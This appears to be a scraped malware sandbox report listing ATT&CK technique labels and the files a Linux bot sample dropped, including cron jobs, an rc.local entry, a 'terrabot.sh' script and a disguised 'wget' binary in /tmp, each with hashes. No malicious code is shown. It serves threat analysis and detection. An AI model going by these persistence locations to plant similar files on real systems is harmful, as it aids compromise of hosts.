T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

bot

Path /etc/cron.d/bot
Size 30B
SHA256 0dc992c9d868863d561b6f6196f33e8045a9fa4966d5760ed2f6187e484044a2
MD5 340ab39a8e764c71568987c0dcda291c
SHA1 2309250d0e95cc15c9a8a3ae741cd2dbdd5b3a8c
SHA512 95d32d56266cae3c0e0249d900515c650bbed756e056ea03ba22ea8ffb779c5bd532a5d4616b3155ec4f25300c2417361bfef53f5fbb3a762cab3036ee254082
MD5 SHA1 SHA512

Submit Download

Path /etc/cron.hourly/0
Size 92B
SHA256 982f9e0f089b91ba79df723435099df15c72e1201a45010ee60226ab136c93bf
MD5 3f006f7f81fc17be7f4a0d3da0fad5de
SHA1 97a94d3d0654c6551057af3809b52572bd7f9f5d
SHA512 97d2ac0057427b940ada7c0fc805c1966e2535c3c3767ca85fef4a7e0fdc9d4ef9eb133530408b1e439df067881cb317e948ad9bfd487e958a04c97d9db978e0
TLSH
T1E1B012E9A4245D01304F8818318E081DC48316EE3C85222D84874CCB80041853000BF8
MD5 SHA1 SHA512 TLSH

Submit Download

rc.local

Path /etc/rc.local
Size 17B
SHA256 a0709af7d04b454f7596410300af0031f51e721d93060a92d43272a150038059
MD5 7e8f5becca6ace1e89ba68e60cdfbc7c
SHA1 d891566fe04f4738a62ba18bfe007ceaf38f44f7
SHA512 0b13f0197dc28c13638bb7c0ed876b8fd9ac2623d00197d10b47a9f7f1fe5cc2cee1efe6a4ac813463057375882cc151cd4a499c3ef8255db72ac69bc6ed788d
MD5 SHA1 SHA512

Submit Download

023782pler.x86

Path /tmp/023782pler.x86
Size 39KB
SHA256 7a866c4e71afd71f03c2b33e527248b651c1a75717fd0a75ab1641a4c5f14f75
MD5 91214d62b241d629fa7f16e70f0672c9
SHA1 42058dc70c93e6337db9af4f3de8be6ffa7db459
SHA512 4398525b2d7c2632b568fdf201c84a5d13d3cbe7b56ffc52a8fe0144812da67734f125801ecd0dac7b56e6e66df6a3740c82aaa5dccc9c084f280d5b8c654afc
SSDEEP 768:0F1DbfTrL3QX9bKWjN+qGTnedgI7WzzZag789GGh/YFMtLynA1nbcuyD7UHQRjy:07/fToNbKWjwq6+gxzN7DDMt+nenouy8
TLSH
T17903E15061FE4BE2D65B40F674BE244E3750D70DAE248CB3BC84F9B25ACAF4C664A097
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

file3dR8yM

Path /tmp/file3dR8yM
Size 49KB
SHA256 31b837f8c2966626dd9b7bdbf261bb99ae50024a31cd9e2bf8176c894a15032a
MD5 33f1d673107d2d8e377077db8a61334a
SHA1 fe27c1cf0a441c7562ecd214bb25f581a8eaec9d
SHA512 cfc316ce6419055a564342d97d551bbbe6629df6741e32b298106a7f869af60f297bd09e9ced963b46dc18677a7b4be15d1e17bf6ba315183629aa79eafb2532
SSDEEP 768:AFTaLRRpyz8FvQVzApIOn0mH02KNmNoYKaAvbXLdk6q8atyL47/AJiQimkxmfjjH:GTqRRpG8ZUq2baUHd2ti2a7kxmffvh5
TLSH
T17633E14BFF19693CC056D77011AF8010FBB57880A703276F5AC4627C6DA3BA86E29F25
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

file3dR8yM

Path /tmp/file3dR8yM
Size 41KB
SHA256 d2bfd0f0bebcf18b3874e0abf933efac758f610ad50e25f4e9db86c9ee2a31d7
MD5 37d086e1b31c826635585b1bb9facafe
SHA1 d5a7e4216ebcf4c18f3a74d72909aea21b2779dc
SHA512 b4945c56bb3c563c9378d2716e6263fb2c600ebc0f4b0ef73ed4b2773d4358c8d3cba2fdbb7f2111813cbd0d67ae44171aef7cc9ed42679659991f15920c87ba
SSDEEP 768:Xyz8FvQVzApIOn0mH02KNmNoYKaAvbXLdk6q8atyL47/AJiQimkxmfjjXw8Rx0C5:XG8ZUq2baUHd2ti2a7kxmffvh5
TLSH
T11213F15BBF6D7878C063A9B122BD5440F7A9BC4116132BDF44E412BC9DB39A62CA5F20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

terrabot.sh

Path /tmp/terrabot.sh
Size 2.0MB
SHA256 2e0a6f09bf6751e95b5bf6c537d46d8c44fa0e34e48c29aeefdaad55af4c353d
MD5 d15236c6350918f24497e4b7ad475ce7
SHA1 72fe657459cf8997482e1cd79fbc28aeb7c851b4
SHA512 24f9dc9177f1e7f9d040bc20ab4a43d7bef38ce2c573d40b3fbefaee379517f5a1af56705dbc9010a99bc1d85348a6355bc0e79f6e9949c6c48f17db4a1580e6
SSDEEP 49152:6nfQ1HrHIYLrf2uxW2kx7gRHdITdHR8MonrH1NqCgkR:EYfFVdIpGxz1E
TLSH
T170A57C16B2E320FCC597C13043AFD7626D75B4AA12317E7F35849A312E56EA02B1DB63
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wget

Path /tmp/wget
Size 2.0MB
SHA256 a9f0735d28f9a6a4f2634d3b144156f7b3df3b476a16a5ab0c7bdf98d74dd020
MD5 b4dede5fc0b1bad5cb8e901bde126b97
SHA1 10cbe9a418ad84a1ed297948539d37aeb58dd810
SHA512 45665ce3a42f63a01fdef517e0c4cb943efce64c8a32d3ce07ab4f1fafc23cda77f378d324342efc79dc9d2293c4b4454d06c1cf4997b9e866784de01cb546e6
SSDEEP 49152:YfQ1HrHIYLrf2uxW2kx7gRHdITdHR8MonrH1NqCgkR:WYfFVdIpGxz1E
TLSH
T1D8A57C16B2E320FCC597C13043AFD7626D75B4AA12317E7F35849A312E56EA02B1DB63
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads